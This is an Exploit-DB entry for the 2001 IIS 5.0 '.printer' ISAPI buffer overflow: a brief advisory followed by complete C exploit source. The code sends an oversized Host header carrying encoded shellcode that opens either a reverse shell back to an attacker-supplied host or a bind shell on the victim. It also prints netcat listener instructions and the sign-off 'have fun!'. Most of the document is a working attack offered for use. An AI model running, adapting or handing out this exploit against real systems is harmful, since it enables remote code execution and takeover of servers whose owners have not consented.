Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (2)

EDB-ID:

20816




Platform:

Windows

Date:

2001-05-01


/*
source: https://www.securityfocus.com/bid/2674/info
 
Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.
 
* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

*/
//---------------------------sol2k.c--------------------------------
#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#define snprintf _snprintf
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

unsigned long *ret[20];
unsigned char send_buf[2000];
unsigned char request[]=
"\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
"\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a";
unsigned char revers_shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa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\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x0d\x0a";
//FlashSky/Benjurry and, H D Moore's code
unsigned char shell[]=
"\x42\x65\x61\x76\x75\x68\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\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\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04\x0d\x0a";
unsigned char overflow[]=
"\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x41\x41\x41\x41\x0d\x0a\x0d\x0a";
unsigned short lportl=666; /* drg */
char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
        int z=0;
        int                     s;
        unsigned short int      a_port;
        unsigned long           a_host;
        struct hostent          *ht;
        struct sockaddr_in      sin;
        #ifdef _WIN32
        WORD werd;
        WSADATA wsd;

        #endif
int main(int argc, char *argv[]){
//call ebx values in msw3prt.dll
ret[0] = 0x6A8C3105;
ret[1] = 0x6A8C317F;
ret[2] = 0x6A8C3267;
ret[3] = 0x6A8C32AD;
ret[4] = 0x6A8C3DB9;
ret[5] = 0x6A8C3DC2;
ret[6] = 0x6A8C3E23;
ret[7] = 0x6A8C4D88;
ret[8] = 0x6A8C4DD1;
ret[9] = 0x6A8C4DFB;
ret[10] = 0x6A8C5383;
ret[11] = 0x6A8C5395;
ret[12] = 0x6A8C565D;
ret[13] = 0x6A8C6437;
ret[14] = 0x6A8C6451;
ret[15] = 0x6A8C66C2;
ret[16] = 0x6A8C66FB;
ret[17] = 0x6A8C6B04;
ret[18] = 0x6A8C6B1D;
ret[19] = 0x6A8C73A4;
ret[20] = 0x6A8C73D8;
ret[21] = 0x6A8C73F4;
ret[22] = 0x6A8C9C55;
ret[23] = 0x6A8C9C86;
ret[24] = 0x6A8CCF13;
ret[25] = 0x6A8CCF4B;
ret[26] = 0x6A8CCF62;
        #ifdef _WIN32
        werd= MAKEWORD(2,0);
        WSAStartup(werd,&wsd);
        #endif
        printf("iis5 remote .printer overflow.\n"
                "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"
                "Updated by sectroyer the member of Random Intruders\n");

if (argc < 3){
        printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
        exit(1);
         }
if (argc >= 3){
        if(!atoi(argv[1]) && argc < 6)
        {
        printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
        exit(1);
        }
        else if(atoi(argv[1])==1 && argc<3)
        {
        printf("usage: %s 0 <vicHost> <vicPort> <atckHost> <atckPort> [<ret 1-26>]\nOr: %s 1 <vicHost> [<shellPort>] [<vicPort>] [<ret 1-26>]\n",argv[0],argv[0]);
        exit(1);
        }
        }
        if(!atoi(argv[1]))
        {
        if(argc>6 && atoi(argv[6])<27 && atoi(argv[6])>-1)
          *(unsigned long *)&overflow[358]=ret[atoi(argv[6])];
        else
          *(unsigned long *)&overflow[358]=ret[0];
        memcpy(&send_buf,&request,strlen(request));
        memcpy(&send_buf[strlen(request)],&revers_shell,strlen(revers_shell));
        memcpy(&send_buf[strlen(request)+strlen(revers_shell)],&overflow,strlen(overflow));

        printf("You need to you need to set up a netcat listener on the host you control.\nEx: nc -l -p %s -vv\n",argv[5]);

        if ((ht = gethostbyname(argv[2])) == 0){
                printf("%s",argv[2]);
                exit(1);
        }
        sin.sin_port = htons(atoi(argv[3]));
        a_port = htons(atoi(argv[5]));
        a_port^=0x9595;

        sin.sin_family = AF_INET;
        sin.sin_addr = *((struct in_addr *)ht->h_addr);

        if ((ht = gethostbyname(argv[4])) == 0){
                printf("%s",argv[4]);
                exit(1);
        }

        a_host = *((unsigned long *)ht->h_addr);
        a_host^=0x95959595;

        send_buf[441]= (a_port) & 0xff;
        send_buf[442]= (a_port >> 8) & 0xff;

        send_buf[446]= (a_host) & 0xff;
        send_buf[447]= (a_host >> 8) & 0xff;
        send_buf[448]= (a_host >> 16) & 0xff;
        send_buf[449]= (a_host >> 24) & 0xff;
        }
        else if(atoi(argv[1])==1)
        {
        if(argc>3)
           printf("Use Netcat to connect to %s:%s\n", argv[2],argv[3]);
        else
           printf("Use Netcat to connect to %s:4444\n", argv[2]);
        if(argc>5 && atoi(argv[5])<27 && atoi(argv[5])>-1)
          *(unsigned long *)&overflow[358]=ret[atoi(argv[5])];
        else
          *(unsigned long *)&overflow[358]=ret[0];

        if(argc>3 && atoi(argv[3])>0)
        {
           lportl=atoi(argv[3]);
           lportl=htons(lportl);
           memcpy(&lport[1], &lportl, 2);
           *(long*)lport = *(long*)lport ^ 0x9432BF80;
           memcpy(&shell[279],&lport,4);
        }
        memcpy(&send_buf,&request,strlen(request));
        memcpy(&send_buf[strlen(request)],&shell,strlen(shell));
        memcpy(&send_buf[strlen(request)+strlen(shell)],&overflow,strlen(overflow));

        if ((ht = gethostbyname(argv[2])) == 0){
                printf("%s",argv[2]);
                exit(1);
        }
        if(argc>4 && atoi(argv[4])>0)
        {
            sin.sin_port = htons(atoi(argv[4]));
        }
        else
            sin.sin_port = htons(80);
        sin.sin_family = AF_INET;
        sin.sin_addr = *((struct in_addr *)ht->h_addr);
        }
        if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        printf("\nconnecting... \n");

        if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
                perror("connect");
                exit(1);
        }

        send(s, send_buf, strlen(send_buf),0);
        sleep (1);
        #ifdef _WIN32
        closesocket(s);
        #else
        close(s);
        #endif
        if(!z)
          printf("sent... \nyou may need to send a carriage on your listener if the shell doesn't appear.\nhave fun!\n");
        else
          printf("sent...\n");
        exit(0);
}